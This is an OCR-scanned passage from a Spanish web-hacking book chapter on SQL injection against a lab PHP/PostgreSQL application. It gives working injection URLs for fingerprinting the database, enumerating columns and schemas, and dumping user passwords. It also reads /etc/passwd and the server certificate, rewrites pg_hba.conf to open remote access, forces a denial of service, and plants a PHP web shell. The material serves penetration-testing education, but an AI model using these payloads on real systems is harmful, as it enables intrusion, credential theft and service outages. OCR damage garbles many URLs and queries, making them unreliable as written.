menos de forma aproximada, qué Base de Datos se esta utilizando inyectando expresiones propias
de cada dialecto y comprobando como se comporta la aplicacion.

Tomese como ejemplo la concatenacién de cadenas de texto y estudiese como funciona en
distintos motores de Bases de Datos. Ya se vio que PostgreSQL utiliza el operador “||”, y también
lo hace ORACLE, pero otros sistemas utilizan el operador “+” o la funcién “concat”.

La siguiente tabla muestra un resumen del comportamiento de algunos de los principales Gestores
de Bases de Datos frente a las distintas sintaxis:

GESTOR 'a'||'b’ 'a'+'b’ concat('a', 'b')
ORACLE 'ab’ ERROR 'ab’
PostgreSQL 'ab’ ERROR ERROR
MySQL 0 0 ‘ab'
SQL Server ERROR 'ab’ ERROR

Tabla 3: Como concatenar

Ademas, a diferencia del resto, ORACLE requiere que las consultas SELECT incluyan siempre
una clausula FROM (si no hay ninguna tabla involucrada en la consulta, puede utilizarse la tabla
“dual”, como en “SELECT | FROM dual™).

Las versiones utilizadas para obtener estos datos fueron ORACLE Database 11g, PostgreSQL
8.4.8, MySLQ 5.1.54 y SQL Server 2008R2 Express.

En base a la informacién mostrada en la Tabla 3, si se restringiera la lista de posibles Gestores de
Bases de Datos a los cuatro a los que se hace referencia, podrian establecerse las siguientes reglas:

- Sisoporta el operador ‘+” para la concatenacion de cadenas, es SQL Server.

- Sisoporta el operador ‘||’, pero no la funcién “concat”, es PostgreSQL.

Si el operador “||"” no concatena, pero si lo hace “concat”, se trata de MySQL.
- Sitanto “||” como “concat” sirven para concatenar, es ORACLE.

Se pueden realizar estas comprobaciones inyectando comparaciones en un parametro vulnerable a
SQL Injection. Tomese como ejemplo la siguiente URL:

‘ http://webserverl/pruebas/producto.php?id=1 J

... que retorna informacion sobre el producto “tornillo™:
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S
Y 2 I T
@ D http://webser... 0~ B CTH (=2 webserverl > i I T,

HA INICIADO SESION COMO: Administrador ‘

Datos sobre el producto:

iIie-t;érencia iNombrc |Precio -
AAA  tomillo |1

Buscar producto

Buscar: .

,100% -

Fig 1.12: Comportamiento normal

Si se inyecta una condicion cierta al final de la URL, como en:

mtp:b’wcbserverlf’pruebasfproducm.php?id=I and 1=1 ‘

... se obtendra el mismo resultado. Sin embargo, si la condicion fuera falsa, como:

|http:f!webserverlz’pruebasiproducto.p]*lp?id:] and 1=2 ‘

. no existira ninguna fila de la tabla que cumpla tal requisito y aparecerd un mensaje de
“Referencia no encontrada”. El mismo que se produce ante situaciones de error en las consultas
SQL, tales como:

| hitp://webserver1/pruebas/producto.php?id=1 and asdfghjkl ‘

Estas diferencias de comportamiento evidencian la existencia de una vulnerabilidad de SQL
Injection y dejan claro que no es posible utilizar un enfoque basado en los mensajes de error. Para
determinar qué Gestor de Bases de Datos utiliza la aplicacion, se puede estudiar las paginas web
retornadas para las siguientes URLs:

http://webserver! /pruebas/producto.php?id=1 and 'a'|'b'='ab'
http://webserverl /pruebas/producto.php?id=1 and 'a"+'b'="ab’
http:fs’webserverl;’pruebasfproduc{o.php‘?id=l and concat('a','b")="ab’'

S‘fpf)llgase que la primera de ellas retorna la pagina con informacién sobre el producto “tornillo”,
Mientras que las otras dos producen un mensaje de “Referencia no encontrada”. Podria deducirse,
Por tanto, que la aplicacion conecta con una base de datos PostgreSQL.



m

Hacking de Aplicaciones Web: SQL M

de operacion como "PIPES AS CONCAT" 0"ANSI MODE" en los que se puede usar I
como operador de concatenacion. Serian necesarias algunas pruebas adicionales para
determinar el motor de bases de datos utilizado con mayor grado de certeza

/Nota: En realidad, no siempre es tan sencillo. Por ejemplo, MySQL contempla modog

El segundo paso consiste en determinar cuanto sea posible acerca de la sentencia SQL que ejecuta
el script PHP. El nimero de columnas puede ser determinado de varias formas. Unas de las mds
tipicas consiste forzar la ordenacion de los resultados inyectando una clausula “ORDER BY” en la

sentencia SELECT:

http://webserverl/pruebas/producto.php?id=1 ORDER BY |

“ORDER BY 1” instruye al Gestor de Bases de Datos a ordenar los resultados usando como
criterio su primera columna. “ORDER BY 2” lo haria seglin la segunda. Y asi sucesivamente.

Ante la anterior URL, se obtendria la informacién sobre los tornillos. El comportamiento es
diferente ante la URL:

’http:ﬁwebserverl;’pruebas;’producto.php?id=l ORDER BY 101 j

En este caso, aparece el mensaje “Referencia no encontrada”. La razon: PostgreSQL encontrd un
error al intentar ordenar la columna 101 y la razén mas probable es que no existan tantas columnas
(también podria deberse a que, aun existiendo la columna, su tipo no permitiera la ordenacion).

Mediante este tipo de pruebas, probando con distintos valores numéricos, se podria termina
deduciendo que el niimero de columnas de la consulta es 4.

Otro método consiste en inyectar una UNION de clausulas SELECT

Lhttp:ffwcbserverlf’pruebasz’produclo.php?id=1 UNION SELECT null

Notese que se usa el valor “null” para evitar problemas debidos a las incompatibilidades de tipo. El
resultado es el mensaje de “Referencia no encontrada”. Esto se debe a que se ha producido un
error: en una UNION de dos instrucciones SELECT, ambas deben estar compuestas por el mismo
numero de campos, mientras la que hemos inyectado posee uno, la que ejecuta el script tiene mas.

Lo mismo ocurre con:

I http://webserver1/pruebas/producto.php?id=1 UNION SELECT null,null J

R, e 1

Ulllp:ffwebscrverl:’pruebas;’pmducto.php?id=l UNION SELECT null,null,null J

Sin embargo,
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- Capl -

| Tvebserverl fprucbas/producto.php?id=1 UNION SELECT nullnullnullnull |
 [http:

)

¢ ma la informacion sobre el producto “tornillos”, evidenciando, de nuevo, que la consulta
iy & tudio tiene 4 columnas. A continuacion, se debe determinar el tipo de estas columnas y
| '.ob"eto'de:rics de la pagina son introducidos sus valores. Para ello pueden irse introduciendo
Il-fjrilfc?::ler; valores en lugar de los “null” de la URL anterior:

E http.;;webserveri:’prucbaslproducto.php?id= -1 UNION SELECT 'A';null,null,null

i#l -'(IJI-'E?_PRIF: ‘webser.. O~ B X |l 2 webserverl I l i TS

[HA INICIADO SESION COMO: Administrador

Datos sobre el producto:

Referencia Norﬁbre Precio W
A | 4

Buscar producto (4

Buscar -

Fig 1.13: Extraccion de datos de otra consulta

Buscar:

Notese, en primer lugar, que en la peticion se ha indicado un valor negativo (-1) para la columna
“id”. De este modo se pretende conseguir que la consulta original no retorne ningiin resultado y
que los valores mostrados en la respuesta se correspondan inicamente con la consulta inyectada.

a-’ I‘_—,‘ http://webser... 0~ B G X H = webserverl

HA INICIADO SESION COMO: Administrador 3

Datos sobre el producto:

irR-t-:ferencia iNombre Precio
A B '

Buscar producto

Fig 1.14: Segunda Columna

Buscar:
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Por otro lado, puede observarse que el literal “A™ de su primera columna aparece comg
“Referencia™ en la pagina web generada. Después, se pasarfa a la segunda columna, indicando para
ella un valor distinto:

’ http://webserverl/pruebas/producto.php?id=-1 UNION SELECT 'A", 'B',null,null ]

-..(vease imagen anterior), y comprobandose que se corresponde con el “nombre”.

El resultado es otro con:

Iiup:ﬁwebserver1r’pruebas;’producto‘php?idz] UNION SELECT 'A', 'B', 'C',null l

En esta ocasion, aparece el ya familiar mensaje de “Referencia no encontrada™ existe un error en
la sentencia SQL. Este se debe a que, en una UNION, las columnas correspondientes de las dos
clausulas SELECT deben ser del mismo tipo (o, como minimo, de tipos y valores compatibles
entre si) y, por lo visto, la tercera de la consulta que ejecuta el script no es de tipo cadena.

Por el contrario, es de tipo entero, como muestra la respuesta ante:

Lhtlp:ffwebserverlfpruebasr’pmducto.php?idz-l UNION SELECT 'A', 'B', 1,null —y

HA INICIADO SESION COMO: Administrador

L~-Bc X—H 2 webserverl < [ ll it 3.0

Datos sobre el producto: ‘

m

'Rcferenc.ia. |Nombre Precio |
A B 1

Buscar producto

Buscar | Buscar ] ol

Fig 1.15: Tercera Columna
A estas alturas se han determinado ya todos los valores que se muestran en la pagina. El atacante
esta en disposicion de realizar peticiones como:

Fp:zﬂ’webserverlfpruebas»’produclo.php‘?id=—1 UNION SELECT version(),
current _database()||'<p>'lluser.null.null

... Y asi conseguir extraer informacién sobre la version de PostgreSQL utilizada, el nombre de
instancia de Base de Datos con que conecta la aplicacion y la cuenta utilizada para ello. Nétese el
uso del operador de concatenacion para obtener mas de un dato por cada posicion inyectable.
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C imilo I SOL Injection a partir de (casi) cero 37
“ !

HA INICIADO SESION COMO: Administrador i
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Datos sobre el producto:

Nombre Precio

|PostgreSQL 8.4.8 on i686-pc-lmix-gm, compiled by GCC  POSEeS

\gee-4.5 real (Ubuntu/Linaro 4.5.2-8ubuntud) 4.5.2, 32-bit

tester

Buscar producto

Fig 1.16: Version, Base de Datos y Usuario

8. Esquemas y Datos

En los apartados anteriores se ha conseguido extraer informacién del Gestor de Bases de Datos
tanto con los mensajes de error activados como encontrandose estos deshabilitados. El siguiente
paso consiste, sea cual sea el caso, en extraer informacion de las tablas de la Base de Datos.

Si el script objeto de estudio listara més de una fila de la tabla, el atacante lo tendria muy facil: le
bastaria con inyectar “UNION SELECT...” para obtener un volcado de todos los datos deseados.

Sin embargo, por esta vez, se le presenta un problema: para cada busqueda, solo se lista un Gnico
producto. Existen varias soluciones avanzadas, que serdn presentadas en capitulos posteriores, para
enfrentarse a situaciones como ésta pero, cuando todo lo demés falla, el atacante se vera obligado a
realizar una peticion por cada fila de la tabla a extraer. Para ello se utilizaran las clausulas
“ORDER”, “LIMIT” y “OFFSET”. Un ejemplo tipico de su uso seria el siguiente:

SELECT columnal, columna2
FROM tabla

ORDER BY 1|

LIMIT |

OFFSET 0

.COD “ORDER BY 1” se clasifican los resultados segun la primera columna. Esto podria ser
Mportante, puesto que SQL no garantiza, por si solo, el orden en que las filas son mostradas y se
€sea un resultado consistente entre las diferentes peticiones. Sin embargo, las implementaciones
de los Sistemas Gestores de Bases de Datos suelen funcionar de forma determinista e imponen
formalmente algin tipo de ordenacion. Hay, por tanto, ocasiones en que podria eliminarse esta
clausula, lo cual puede ser conveniente en diversas situaciones, como cuando se esta inyectando
SQL sobre un parametro GET o una COOKIE y la longitud de la URL puede ser un problema.
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“LIMIT 17 indica que solo se desea extraer una unica fila. Y “OFFSET 07, que comiencen a
listarse las filas a partir de la primera (la numeracion de las filas empieza por cero). En definitiva;
se obtendria la primera fila. Posteriormente, con “LIMIT 1 OFFSET 17 se listaria la segunda; con
“LIMIT 1 OFFSET 27, la tercera; etc.

A partir de su version 8.4, PosgreSQL soporta la funcion de ventana row_number(), definida en el
estandar ANSI SQL 2003. Haciendo uso de ella, puede obtenerse un resultado similar al de la
consulta anterior con:

SELECT columnal, columna2
FROM (select row _number() over (ORDER BY columnal), * FROM tabla) T
WHERE row_number = 1

En este caso los nimeros de fila comenzarian en 1, no en 0. Para obtener las siguientes filas, se iria
variando el valor especificado en la clausula “WHERE row_number=1". De nuevo, la sintaxis
permite eliminar la referencia a la ordenacion “ORDER BY columnal”, si bien seria necesario
mantener los paréntesis que la rodean.

En los ejemplos de este capitulo se usara la primera alternativa, la que hace uso de “LIMIT” y
“OFFSET”, que funciona también con las versiones previas de PostgreSQL. Una vez resuelto el
problema de como extraer todos los datos, queda por determinar de donde: qué tablas existen, qué
columnas tienen, de qué tipo son ... Y para eso estd el esquema de la Base de Datos.

Cada Sistema Gestor de Base de Datos almacena el esquema y lo pone a disposicion del usuario de
forma diferente. PostgreSQL utiliza un conjunto de tablas y vistas que constituyen lo que se
denomina “Catalogo del Sistema” y que se encuentran documentadas, para su version 8.4, en la
siguiente direccion web: hitp://www.posigresql.org/docs/8.4/interactive/catalogs.html

Una de ellas es “pg_namespace”, que lista los NameSpaces de la Base de Datos. El nombre de
cada uno de ellos viene dado por la columna “nspname”. En primer lugar se puede determinar
cuantos NameSpaces hay mediante una peticion como:

http://webserverl/pruebas/producto.php?id=-1 UNION SELECT null,null,count(*),null from
pg_namespace

... (vease imagen siguiente), para después ir extrayendo sus nombres en subsecuentes accesos:

http://webserverl/pruebas/producto.php?id=-1 UNION SELECT nspname,null,null,null from
pg_namespace order by | limit 1 offset 0

hitp://webserverl/pruebas/producto.php?id=-1 UNION SELECT nspname,null,null,null from
pg_namespace order by 1 limit 1 offset 1

http://webserverl/pruebas/producto.php?id=-1 UNION SELECT nspname.null,null,null from

pg_namespace order by | limit | offset 2
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.. y asi sucesivamente hasta llegar a “offset 67, que reportara el Gltimo de los NameSpaces.

&iﬁ L—’ btz webser.. p~-2¢ ><I|, 2 webserverl a ‘] ] Tl

'HA INICIADO SESION COMO: Administrador
Datos sobre el producto: =

Referencia Nombre Precio

!

_Ruccar neaduotn i e

Fig 1.17: 7 NarESpaces

En el ejemplo se obtienen los siguientes valores:

Valor del offset Nombre del NameSpace

almacen

information_schema

pg_catalog

pg_temp 1
pg toast

pg toast temp 1
public
Tabla 4: NameSpace

|| |l w o -

gg ;—-? hitp://webser... O~ B & X HC\ webserverl [_| S

HA INICIADO SESION COMO: Administrador
Datos sobre el producto: =
Referencia Nombre Precio

almacen

Fig 1.18: Extrayendo el nombre de los NameSpaces

E:Stfiitl;? ellos, parece que “almacen” es el nombre mas acorde con la aplicacion objeto de estudio.

‘ : a,s: pertencmgnteg a este ‘lz\lameSpace pueden ser obtenidas de una nueva relacion,

tel;gc;;-cczsis ; qui c?ntlene mformacwp sobr.e “tablas, vistas y casi cualquier otra cosa que pueda
umnas”. Entre las que ella misma tiene destacan:
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relname El nombre de la relacion
relkind El tipo de la relacion. Para las tablas, vale “r”

El OID del namespace al que pertenece la tabla. Todo objeto en PostgrcSQ_f
relnamespace | tiene un identificador denominado “OID” que opera a nivel interno como clave
principal en su correspondiente tabla. J

Lo cual permite elaborar una consulta como:

http://webserverl/pruebas/producto.php?id=-1 UNICN
SELECT relname,null,null,null

FROM pg class, pg namespace

WHERE pg class.relnamespace=pg namespace.oid

AND nspname='almacen'

AND relkind='r'

ORDER BY 1 LIMIT 1

OFFSET 0

. en la que se han insertado saltos de linea para facilitar su lectura. Incrementando de forma
sucesiva el valor del OFFSET en la columna “Referencia” de los listados obtenidos irdn
apareciendo los nombres de las tablas disponibles:

OFFSET Tabla
0 productos
1 referencias
2 usuarios

Tabla 5: Tablas

HA INICIADO SESION COMO: Administrador -

& http://webser., O~ BC X || (= webserverl X {0 7

m

Datos sobre el producto:

|Refeteﬂcia Nombre [Precio |

Ruccar nradusta

Fig 1.19: Tablas

Una vista que puede encontrarse en PostgreSQL y que permite obtener resultados similares es
“pg_tables”. Con ella se pueden componer peticiones mas sencillas:

iulo 1. SOL Injection a partir de (casi) cero

hnp:f’r‘webserverlfpruebas;’produclo.php?id=-l UNION select tablename,null,null,null from
pe tables where schemaname="almacen' ORDER BY 1| LIMIT 1 OFFSET 0

La tabla “usuarios™ posiblemente contendra la informacion relativa a las cuentas de acceso a la
aplicacién y sus contrasefias. Para determinar sus columnas se utilizara la tabla “pg_attribute”, a la
que pertenecen los siguientes atributos:

ATRIBUTO | EXPLICACION

Attrelid El OID de la relacién a la que pertenece la columna

El OID del tipo de datos de la columna. Los tipos de datos se almacenan en otra
Atttypid tabla denominada “pg_type” en la que el nombre del tipo viene dado por la
columna “typname”

La posicion de la columna. Para las columnas normales, su valor serda mayor que

Attnum cero. Las columnas creadas por el sistema, tales como el OID, tienen un attnum
negativo
Attname El nombre de la columna

Asi, para la tabla “usuarios” del namespace “almacen” se tendria:

http://webserverl/pruebas/producto.php?id=-1 UNION
SELECT attname,typname,null,null
FROM pg class, pg namespace, pg_attribute, pg type
WHERE attnum=1
AND pg type.oid=atttypid
AND attrelid=pg class.oid
AND relname='usuarios'
AND pg class.relnamespace=pg namespace.oid
AND nspname='almacen'

... todo ello en una sola linea. Esa peticion proporcionaria el nombre y el tipo de la primera
columna.

El resto, se iria variando el valor de “attnum” que figura en “WHERE attnum=1";

ATTNUM COLUMNA TIPO

1 Nombre bpchar
2 Contrasefia bpchar
3 1d int4

4 desc bpchar

Tabla 6: Columnas

A estas alturas, conocida la estructura de la tabla, extraer su informacion deberia ser algo trivial:
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http://webserverl/pruebas/producto.php?id=-1 UNION select nombre||'<p>'||contrasena, U.desc,
null,null from almacen.usuarios U order by | limit 1 offset 0

g@ L.f; http://webser.. Q0 ~ B ¢ X ‘ @ webserverl

~

HA INICIADO SESION COMO: Administrador |

Datos sobre el producto:

:Ize;'e_rencia :Nombfe Precio
ladmin :
' Administrador

Fig 1.20: Cuenta y contrasefia del Administrador

Como puede observarse, se ha cualificado el nombre de la columna “desc” por coincidir su
nombre con una palabra reservada de SQL.

9. La configuracion y la lectura de ficheros

Dentro del catalogo del sistema de PostgreSQL existe una tabla, denominada “pg_settings”, que
contiene informacion de gran interés para el atacante: la configuracion de PostgreSQL. Sus
columnas mds relevantes son “name” y “setting”,

Algunos ejemplos de ajustes que pueden encontrarse en ella son;

config_file Fichero de configuracién principal

Directorio en el que se almacenan los datos. Aqui pueden encontrarse
también los ficheros “server.crt” y “server.key”, con el certificado y la

data_directory
clave privada que el servidor usa para dar soporte a PostgreSQL sobre

SSL.
log_directory Directorio para los logs
Port Puerto TCP usado por PosgreSQL
krb_server_keyfile |Ruta del fichero de claves de kerberos
hba_file Ruta del fichero pg_hba.conf
ident_file Ruta del fichero pg_ident.conf

Para obtener sus valores se pueden realizar consultas similares a la siguiente:
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a

hﬂp.;;webservcr]:’pruebasfproduclo.php?id=—1 union select name || ' =" || setting,null,null,null
from pg settings where name='data_directory'

F po ? i
gﬁ -.:,?|',‘-;—') http://webser.. 0 ~ B € xﬂ =) webserverl 1 ol W

% Buscar: | leng | Anterior Siguiente E
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Datos sobre el producto:

Referencia Nombre Precio |

data_dﬁ'eclory = /var/lib/postgresql/8.4/main :

Fig 1.21: Ruta del directorio de datos

Una vez determinada la ruta en que se encuentran los ficheros de datos del servidor PostgreSQL,
quiza se desee leer, por ejemplo, el contenido del fichero “server.crt”, citado anteriormente.

La instruccion “COPY ... FROM” de PostgreSQL puede resultar de ayuda en esta tarea, al
permitir importar un fichero a una tabla de la Base de Datos. Si la tabla unicamente tiene una
columna de tipo texto, valdria con:

] COPY tabla FROM fichero ‘

... y en caso de que la tabla contenga varias columnas:

@PY tabla(columna) FROM fichero ‘

Cada linea del fichero sera copiada en una fila de la tabla. Para que esta instruccion se ejecute
correctamente, deben darse las siguientes condiciones:

- Que el usuario del sistema con el que se ¢jecute el servicio de PostgreSQL tenga acceso
de lectura sobre el fichero deseado.

- Que pueda crear una tabla en la que importar el fichero o bien exista una en la Base de
Datos que pueda servirle a tal fin,

- Y, lo mas complicado, que la cuenta con la que se conecta a la base de datos tenga
privilegios de superusuario. En otro caso, no podra usar la instruccion “COPY™.

El atacante debera, pues, realizar varias peticiones:

- Una para crear la tabla.
- Otra para importar el fichero a la tabla.
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- Varias para ir extrayendo las distintas filas de la tabla, tal y como se vio en apartados
anteriores.

- Y, finalmente, otra para eliminar la tabla temporal.

En realidad, basta con una tmica peticion para crear la tabla y copiar en ella el fichero utilizando
consultas apiladas (stacked queries). SQL permite especificar varias sentencias en una sola linea,

separadas por el cardcter “;” y la implementacion de PostgreSQL para PHP soporta esta
caracteristica. Asi, la primera fase consistiria en solicitar:

http://webserver1/pruebas/producto.php?id=1; create table fichero(linea text);copy fichero from
"fvar/lib/postgresql/8.4/main/server.crt'

?ﬂ{ : ||:__'} fmainserver.crt RN o1 H (2 webserverl

% Buscan | leng

= L_! e

Anterior  Siguiente |E

HA INICIADO SESION COMO: Administrador
Referencia no encontrada

Buscar producto

Fig 1.22: Aunque no lo parezca, algo ha hecho

Buscar:

La respuesta es la pagina de “Referencia no encontrada”, pero de forma silenciosa las dos
instrucciones inyectadas han creado la tabla y la han rellenado. Ahora se pueden extraer los datos.
En primer lugar, el namero de lineas de la tabla:

http://webserverl/pruebas/producto.php?id=-1 union select null,null,count(*),null from fichero

[ e
m )| &2 hitp:/ /webser., O rE8eX | 2 webserverl

HA INICIADO SESION COMO: Administrador

Datos sobre el producto:

Referencia Nombre Precio
17|

Buscar producto

Buscar |

Fig 1.23: Numero de lineas

Buscar

... para seguir con una peticion que, utilizando consultas anidadas, consigue extraer todo el fichero
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=
th

http://webserverl/pruebas/producto.php?id=-1 union select
(select linea from fichero limit 1 offset 0)['<br="|
(select linea from fichero limit 1 offset 1)[|'<br="|
(select linea from fichero limit 1 offset 2)|/'<br>"|
(select linea from fichero limit 1 offset 3)||'<br>'||
(select linea from fichero limit 1 offset 4)||'<br>'||
(select linea from fichero limit 1 offset 5)||'<br=>"||
(select linea from fichero limit 1 offset 6)||'<br=>"||
(select linea from fichero limit 1 offset 7)||'<br=>"||
(select linea from fichero limit 1 offset 8)||'<br=>||
(select linea from fichero limit 1 offset 9)|['<br>'||
(select linea from fichero limit 1 offset 10)||'<br>"||
(select linea from fichero limit 1 offset 11)]|'<br>"||
(select linea from fichero limit 1 offset 12)||'<br>'||
(select linea from fichero limit 1 offset 13)||"<br>'|
(select linea from fichero limit 1 offset 14)||'<br>'(|
(select linea from fichero limit 1 offset 15)||'<br>'||
(select linea from fichero limit 1 offset 16),
null,null,null

1
3- | @ http://webserverl /pruebas/prod 0 ~ B & X l = webserverl < I _J
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¥ T

Nombre

m

" Fig 1.24: El certificado
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Otra técnica para extraer el contenido de ficheros y que, a diferencia de la anterior, funciona
incluso de aquellos que no son de texto, consiste en utilizar la funcién “lo_import™, que incorpora

a la base de datos el contenido completo de un archivo. En este caso, son necesarios los siguientes
pasos:

- Importar el fichero a la base de datos. Por ejemplo:

http://webserver1/pruebas/producto.php?id=-1 union select null, null,
cast(lo_import('/etc/passwd") as int), null

HA INICIADO SESION COMO: Administrador ]

intP e g G?‘ 2 webserverl

-

Datos sobre el producto:

m

Referencia Nombre Precio

Rucrar nraducta

#100% ~

Fig 1.25: Importando con lo_import

El objeto serd almacenado en una tabla llamada pg_largeobject. Las columnas que lo conforman
son:

Lasid EI OID del objeto importado. La funcién lo_import retorna este valor, En el caso
del ejemplo, los datos tendran un loid = 24759

Los objetos son divididos en paginas que permitan un tratamiento eficiente. Esta
columna indica qué pagina del objeto contiene la fila. La primera pagina se
corresponde a la numero cero.

Data Campo de tipo BYTEA que contiene la pagina. El tipo BYTEA es similar a una
cadena, pero permite incluir caracteres no imprimibles.

Pageno

Un nuevo acceso permite conocer el nimero de filas que se acaban de crear:

http://webserver1/pruebas/producto.php?id=-1 union select null,null,count(*),null from
pg_largeobject where loid = 24759
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Datos sobre el producto:

Referencia Nombre :Precio
1

HA INICIADO SESION COMO: Administrador

Fig 1.26: Namero de filas

Y, puesto que solo hay una fila, bastaria con lo siguiente para extraer todo el fichero:

B

http://webserver1/pruebas/producto.php?id=-1 union select cast(data as text),null,null,null from

pg_largeobject where loid = 24759

T - = - = # = =
ﬁ' J| 2 http://webser.. O~ B C ﬁl =) webserverl

IR

HA INICIADO SESION COMO: Administrador

Datos sobre el producto:

|Referencia

Buscar producto

7 ==

rootx:0:0root-root-bin'bash'012daemon=:1:1:daemon-/usr/sbin:/bin/sh'012binx-3 = |
|data=-33:3 3 www-data:var/wwwbin/shi01 2backupx:34:34-backup:var -'baclq.rpi !
(admin):var/lib/gnats-bin/sh'012nobodyx:65534:65534:nobody-nonexistent-bin/y |
daemon,,,”home/usbmux-binfalse'012gdm=:106:114:Gnome Display Manager:/v,
user,, var/runhplipbinffalse!012saned=x-112:121home!saned-binfalse 01 2test
Boss,.,”home’big_boss:bin'bash'012userx:1003:1004:User.,,-home‘us etfbin-'bas! |

Fig 1.27: lete/passwd

~ 10. Escribir ficheros

El aparatado 6 acababa con el siguiente escenario: el atacante conoce la direccion 1P del servidor
POSthESQL, el nombre de la base de datos y una cuenta de acceso a la misma con su
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correspondiente contrasefia. Contando con esta informacion, configura ahora una conexién ODBC
y realiza una prueba:

7 T
% Administrador de origenes de datos ODBC (Pl % |
| Controladores | Trazas | Agrupacién de conexiones | Acerca de
J DSN de usuario r DSN de sistema | DSN de archivo
PostgreSQL ANSI ODBC Driver (psqlODEC) Setup L2

DataSource Test Description Test

Database postgres SSL Mode | disable v
Server webserverl Port 5432
User Name tester o Password see N

Connection Test

FATAL: no hay una I?nea en pg_hba.conf para <<192.168.56.1>>,
. ! . usuario <<tester>>, base de datos <<postgres>>, S5L inactivo

Aceptar |

Fig 1.28: Conexion fallida

El resultado no es el esperado. La conexion falla con un aviso que indica que la configuracion del
fichero “pg_hba.conf” no permite el acceso desde la maquina del atacante. “No hay linea en
pg_hba.conf”, dice el mensaje.

Si la configuracion no permite el acceso... habra que cambiarla. Para empezar, utilizando las
técnicas documentadas en los apartados anteriores, el atacante consultara la tabla “pg_settings™ y
determinaré tanto la ruta de acceso como el contenido del fichero “pg_hba.conf”. Eliminando los
comentarios, quiza le queden las siguientes lineas:

local  all postgres ident
local  all all ident
host all 127.0.0.1/32 ident

La dltima de ellas indica que solo se permiten conexiones a través de la red desde la direccion
*127.0.0.17, correspondiente al host local. Por supuesto, el atacante preferiria que figurara un
permisivo “0.0.0.0/0”.

Capiti lo I. SOL Injection a partir de (casi) cero 49
a .

y lo puede conseguir con una Unica peticion:

hnp;ﬁwebservcr 1 fprue_bas;’producto‘php?id=l :
create table evilhba(n int, cl text, ¢2 text, ¢3 text, c4 text, c5 text);
insert into evilhba values
(1, 'local’, 'all', 'postgres', ", 'ident'),
(2, 'local', "all', 'all', ", "ident"),
(3, 'host', "all', 'all', '0.0.0.0/0", 'md5");
copy (select ¢l .c2,c3,c4.,c5 from evilhba order by n)
to 'fetc/postgresql/8.4/main/pg_hba.cont';
drop table evilhba

Obsérvese que la tabla “evilhba” tiene seis columnas. La primera de ellas, de tipo numérico,
permitird posteriormente establecer un orden sobre sus filas, de modo que se garantice la correcta
disposicion de las mismas en el fichero de destino.

El resto se corresponde con los cinco elementos que tienen las especificaciones de acceso
contenidas en el fichero “pg_hba.conf™.

Una vez creada, se rellena la tabla con los valores deseados por el atacante (ndtese el valor
“0.0.0.0/0” en la tercera fila insertada). A continuacion, se sobrescribe el archivo “pg_hba.conf”
mediante una instruccion “COPY ... TO”, cuyo funcionamiento es el inverso del de “COPY
FROM”. Los distintos campos quedan separados en el fichero por caracteres de tabulaciéon. Una
instruccion “drop table” elimina, finalmente, la tabla temporal usada.

Tarde o temprano, el servicio PostgreSQL debera ser reiniciado. Quiza alguna tarea administrativa,
quizd un rearranque del equipo por una actualizacion del kernel... Pero si el atacante no quiere
esperar, también puede aportar su granito de arena. Por ejemplo, enviando al servidor varias
peticiones como la siguiente;

http://webserverl/pruebas/producto.php?id=-1 union select null, null, avg(i), null from (select
generate_series(1,65325000000000000) 1) j

La funcion generate_series crea un conjunto de filas, retornando en cada una de ellas un valor
distinto del rango especificado por sus parimetros. El elevado numero de filas y datos que esta
consulta genera hace que el servicio de PosgreSQL consuma buena parte de los recursos de la
maquina, ralentizdndola de manera notable.

En las pruebas realizadas al respecto, bastaron 3 peticiones de esta URL para dejar fuera de
servicio la maquina virtual utilizada durante unos minutos. Una maquina real seguramente resistira
mas, pero todo es cuestion de incrementar la carga a la que se le somete.

Reiterando las peticiones e incrementando su nimero, se puede hacer que esta situacion se
Prolongue lo suficiente en el tiempo como para que el administrador del sistema se vea obligado a
reinciar el equipo.
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Cuando esto ocurra, durante el arranque del sistema se leera el contenido del fichero
“pg_hba.conf” y se aplicaré la nueva configuracion. Como resultado, el atacante si podri entonces
conectar con la Base de Datos.

% Administrador de origenes de datos ODBC | 7| = |
[ Controladores | Trezas | Agrupacién de conesones | Acercads |
DSN de usuario | DSNde sistema DSNde archivo |

(= |

PostgreSQL ANSI ODBC Driver (psglODBC) Setup

Data Source Test Description Test

Database postares SSL Mode I disable v]

Server webserverl Port 5432

UserName tester Password eee

i [ Connection Test @

—

Options

i Datasource l 1 i B
(il ALASOLICH ! _ Connection successful Cancel

Fig 1.29: Conexién exitosa

11. Ejecutar programas

Si en el mundo de los test de intrusién hay algo parecido a los famosos “dos minutos de gloria”,
quizd sea el momento en que se consigue una shell remota o quiza ejecutar comandos arbitrarios
en un equipo. A veces se trata solo de un golpe de efecto; otras, de la puerta de entrada a redes y
recursos hasta ese momento inaccesibles.

Aprovechar las vulnerabilidades SQL Injection para cjecutar comandos en servidores con
PostgreSQL no es, casi nunca, tan ficil como prometen muchas de las guias que pueden
encontrarse en Internet. Aun asi, el atacante dispone de varios métodos a probar antes de darse por
vencido.

Para empezar, no es habitual que, con las opciones por defecto, la cuenta con la que inicia sesion el
servicio PostgreSQL (normalmente, “postgres™) tenga los permisos necesarios para crear un
archivo en algiin directorio publicado a través de un servidor web. Sin embargo, a veces los
administradores relajan la seguridad de algunos directorios. Por ejemplo, los de aquellos en los que
se alojan ficheros temporales o en los que se producen subidas de archivos.

H
==y

Capitulo [. SOL Injection a partir de (casi) cero
aj

gup6ngase que el servidor de Bases de Datos soporta también un servicio we.b A].J?iche 2 con ]’Hf’
. talado y que sobre €l se instald una instancia de RoundCube, una apllcaclon de }vebmail,
lns{asib]c mediante la URL hup://webserverl/roundcubemail-0.5.4. En las instrucciones de
?;sctzlacién se indicaba que era necesario asegurarse de que se tenian permisos de escritura sobre el

subdirectorio “temp”.

Un administrador descuidado, no deseando tener que realizar demasiadas pruebas, podria haberle
asignado dichos permisos de forma insegura:

l@oﬂv temp

Como resultado, el usuario “postgres” podria crear un fichero en dicho directorio utilizando las
técnicas mostradas en el apartado anterior. En este caso, si el sistema operativo del servidor es
Ubuntu 11, la ruta del archivo posiblemente seria:

/var/www/mail/temp/cmd.php ‘

Y su contenido:

| <pre><?php system($_GET['cmd'])?=</pre> ‘

Y bastaria una peticion HTTP para crearlo:

http://webserver2/pruebas/producto.php?id=1;

create table evilhba(t text);

insert into evilhba values ('<pre><?php system($_GET[Vemd\'])?></pre>");
copy evilhba to "/var/www/ roundcubemail-0.5.4/temp/cmd.php';

drop table evilhba

... como siempre, eliminando los espacios y retornos de carro que se han afadido por motivos de
legibilidad. Una vez creado el script, éste podria ser invocado a través de peticiones HTTP como:

| http://webserver2/mail/temp/cmd.php?ecmd=cat /etc/passwd

En este caso, ademas, se estaria produciendo una escalada de privilegios, al menos, horizontal,
